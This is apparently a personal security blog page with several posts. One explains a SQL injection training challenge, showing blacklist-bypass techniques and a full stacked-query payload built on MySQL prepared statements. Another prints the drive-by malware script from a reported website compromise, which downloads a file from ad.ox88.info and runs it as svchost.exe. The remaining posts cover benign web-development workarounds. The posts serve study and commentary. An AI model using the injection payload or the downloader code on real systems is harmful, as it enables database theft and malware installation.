nd
Subscribe to the RSS feed

Keyword - hacks

Entries feed - Comments feed

Wednesday, July 13 2011

Dissection of a SQL injection challenge

As part of the SQL injection challenges that I developed (focusing on MySQL), one of the classic challenges (we have the same types for XSS), is a simple, yet disturbing for juniors, black-list and few controls such as partial output encoding.

In the case of SQLi, I decided to blacklist the following keywords (as seen during an assessment): select, union, drop, delete, insert, and, or, where, update, if, not

On top of this, I use the mysqli function that properly escapes strings (mysqli_real_escape_string), and I remove all white-spaces.

The SQL commands is using a multiple queries aware driver (i.e., you can stack queries), and the injection context is fairly simple and we have something like this: SELECT username FROM users WHERE userid=<<HERE>>

Since this is an * exploitation* challenge, the goal is to extract the password of a given user from this database.

Now, every time that I write a challenge, I first come up with the application and I need to break it after to make sure that there is a solution (unless the challenge is derived from what I found already in some of my previous assessments).

Anyway, here my main personal challenge was to come up with a query that would retrieve the proper data without using one of the black-listed keywords. Spaces and quotes are easy not to care about simply by using /**/ as a word separator, and we can use the hexadecimal representation of strings so that we make sure not to use single-quotes & co. Here is a quick summary with 2 similar queries:

  • Spaces bypass: select/**/foobar/**/FROM/**/table/**/WHERE/**/user='c3';
  • Single quotes: select foobar FROM table WHERE user=0x6333;

The way I found to solve this challenge is to use MySQL prepared statements. However, I was fairly disturbed at first since I cannot use the following syntax in MySQL:

PREPARE st FROM 0x73656c656374202a2066726f6d207573657273;
EXECUTE st;
DEALLOCATE PREPARE st;

where 0x73656c656374202a2066726f6d207573657273 contains the query to get everything from the users' table (i.e., select * from users). The syntax of the PREPARE keyword is not flexible like any other string manipulation in MySQL, and does not allow strings with their hexadecimal representation.

The gotcha here (I wouldn't call this a trick) is to use a temporary variable assignment, and use this variable in the PREPARE construct. The final construct I used is the following:

SET @v=0x73656c656374202a2066726f6d207573657273;
PREPARE st FROM @v;
EXECUTE st;
DEALLOCATE PREPARE st;

Now, putting the pieces together, and adding this into the our original query, we get a payload similar like this:

9999||username=0xdeadbeef;SET/**/@s=0x73656c656374202a2066726f6d207573657273;PREPARE/**/ss/**/FROM/**/@s;EXECUTE/**/ss;DEALLOCATE/**/PREPARE/**/ss;#

This construct is very similar to the solution of the challenge, but not exactly the same since we need to use the application to display the data. Therefore, in that case we need to make sure that the prepared statement will return only one column, etc.

Anyway, I wanted to share this since I haven't come across many references that talked about using prepared statements as SQL injection payloads...

Monday, July 21 2008

A morning at work: Content-Disposition blocked!

A morning, I woke up, and all the websites using a download system didn't work anymore. Yeah this is what I've seen. I guess I don't need to tell you that it was such a pain and that all the downloading systems on the different websites we have were not working anymore.

Such a big stress thinking that everything is broken at first, then after some time, realized that the problem is about the Content-Disposition header field which is dropped.

I wouldn't say that I would like to thank the admin that do no tell people about the modification... Anyway, I guess this is every time like that?

The Content-Disposition HTTP header field is used to explain to the browser how the data are presented. I basically use it in order to force a download system using such php script:

<?php
  // download.php
  // some checks on the $fname, variable to be sure
  // it exists and is in the allowed directories...
  header("Pragma: public");
  header("Expires: 0");
  header("Cache-Control: must-revalidate, pre-check=0");
  header("Content-Type: application/octet-stream");
  header("Content-Length: " . filesize($fname));
  header("Content-Disposition: attachment; filename=".basename($fname));
  header("Content-Description: File Transfer");
  @readfile($fname);
  exit;
?>

Now, if you cannot submit the Content-Disposition field, then the browser will download the file called "download.php". A quite simple solution, is to fool the browser by making the name of the reachable URI the same as the file it should download, using Mod_Rewrite.

RewriteEngine On
RewriteBase /mydir
RewriteRule   ^download/([^/]+)$ /mydir/download.php?file_redir=$1

And just a simple modification in the original script in order to detect the "file" GET variable. But since we don't want to modify all the (generated or not) HTML files, we need to make the redirection automatically.

<?php
// download.php
// some checks on the $fname, variable to be sure
// it exists and is in the allowed directories...
if (isset($_GET['file_redir'])) {
  $fname = $_GET['file_redir'];
  // checks for good files (careful of directory traversal etc.)
  header("Pragma: public");
  header("Expires: 0");
  header("Cache-Control: must-revalidate, pre-check=0");
  header("Content-Type: application/octet-stream");
  header("Content-Length: " . filesize($fname));
  header("Content-Description: File Transfer");
  @readfile($fname);
  exit;
}
else {
  header("Location: /mydir/download/$fname");
  exit;
}
?>

Then you don't have to change all your pages. This is of course a (not so?) temporary solution since the server will do extra work in order to go to the same state, the download of the file, but well, it does the job to fool the browser...

Tuesday, May 20 2008

ph34r the script kiddies: Whitehouse.org

I was just reading this news (reported by Kanedaa), decided to look closer to the content of this "malware" stuff to see if there was some nice techniques behind this so called "attack".

Oh men! How disappointing to see that this was done by script kiddies... the "obfuscation" consist of 3 levels of URL encoded javascript... yeah... URL encoding is for sure an obfuscation very hard to prettify. And the final code was just not obfuscated either... Just this:

function myCreateOB(o, n) {
    var r = null;
    try { eval('r = o.CreateObject(n)') }catch(e){}
    if (! r) {try { eval('r = o.CreateObject(n, "")') }catch(e){} }
    if (! r) {try { eval('r = o.CreateObject(n, "", "")') }catch(e){}}
    if (! r) {try { eval('r = o.GetObject("", n)') }catch(e){}}
    if (! r) {try { eval('r = o.GetObject(n, "")') }catch(e){}}
    if (! r) {try { eval('r = o.GetObject(n)') }catch(e){}  }
    return(r);
}

function Go(a) {
    var s = myCreateOB(a, "WS"+"cr"+"ip"+"t.S"+"he"+"ll");
    var o = myCreateOB(a, "AD"+"OD"+"B.St"+"re"+"am");
    var e = s.Environment("Process");
    var xml = null;
     var url = 'http://ad.ox88.info/bbs.jpg';
    var bin = e.Item("TEMP") + "svchost.exe";
    var dat;
    try { xml=new XMLHttpRequest(); }
    catch(e) {
        try { xml = new ActiveXObject("Mic"+"ros"+"of"+"t.XM"+"LHT"+"TP"); }
        catch(e) {
            xml = new ActiveXObject("MSX"+"ML2.Ser"+"verXM"+"LHT"+"TP");
        }
    }
    if (! xml) return(0);
    xml.open("GET", url, false)
    xml.send(null);
    dat = xml.responseBody;

    o.Type = 1;
    o.Mode = 3;
    o.Open();
    o.Write(dat);
    o.SaveToFile(bin, 2);

    s.Run(bin,0);
}

function mywoewd() {
    var i = 0;
    var ss11='{7F5B7F';
    var ss12='63-F06';
    var ss13='F-4331-8A';
    var ss14='26-339E0'
    var ss15='3C0AE3D}';
    var ss1=ss11+ss12+ss13+ss14+ss15
    var ss2="{BD96"+"C55"+"6-65A3-1"+"1D0-98"+"3A-00C04F"+"C29E36}";
    var ss3="{AB9"+"BCEDD-E"+"C7E-47"+"E1-93"+"22-D4"+"A210617116}";
    var ss4="{00"+"06F"+"033-000"+"0-0000-C0"+"00-00000"+"0000046}";
    var ss5="{0006"+"F03A-0000-00"+"00-C000-00"+"00000"+"00046}";

    var t = new Array(ss1,ss2,ss3,ss4,ss5,null);
    while (t[i]) {
        var a = null;
        if (t[i].substring(0,1) == '{') {
         a = document.createElement("object");
         a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1));
        } else {
            try { a = new ActiveXObject(t[i]); } catch(e){}
        }
        if (a) {
            try {
                var b = myCreateOB(a, "WSc"+"rip"+"t.Sh"+"ell");
                if (b) {
                    Go(a);
                    return(0);
                }
            } catch(e){}
        }
        i++;
    }
}

As reported by Trend Micro, this is supposed to be a download of the trojan: TROJ_DELF.GKP ... that doesn't mean anything to me but anyway, my AV didn't detect it :)

Wednesday, October 17 2007

IE6 And IE7 don't have compatible CSS tricks

It's so sad. As a web developer (sometimes), I used to do CSS and like almost all CSS developers you will have some trouble. A bad but fast solution I used to do is to duplicate CSS statement for IE, like this one:

body {
  background-color: green; /*  Green for everybody */
  _background-color: red; /*  Overload to red for Internet Explorer */
}

But this trick is not working anymore with IE7, it doesn't understand the underscore... the solution? Add a point!

body {
  background-color: green; /*  Green for everybody */
  _background-color: red; /*  Overload to red for Internet Explorer 6 */
  .background-color: blue; /*  Overload to blue for Internet Explorer 7 */
}

This is really sad! First of all, the old hack is well none and used... so, lots of CSS are actually not working like it should do with IE7. Why the heck they did that? Isn't Microsoft good are retro-compatibility? Thought so....

I <3 Bots!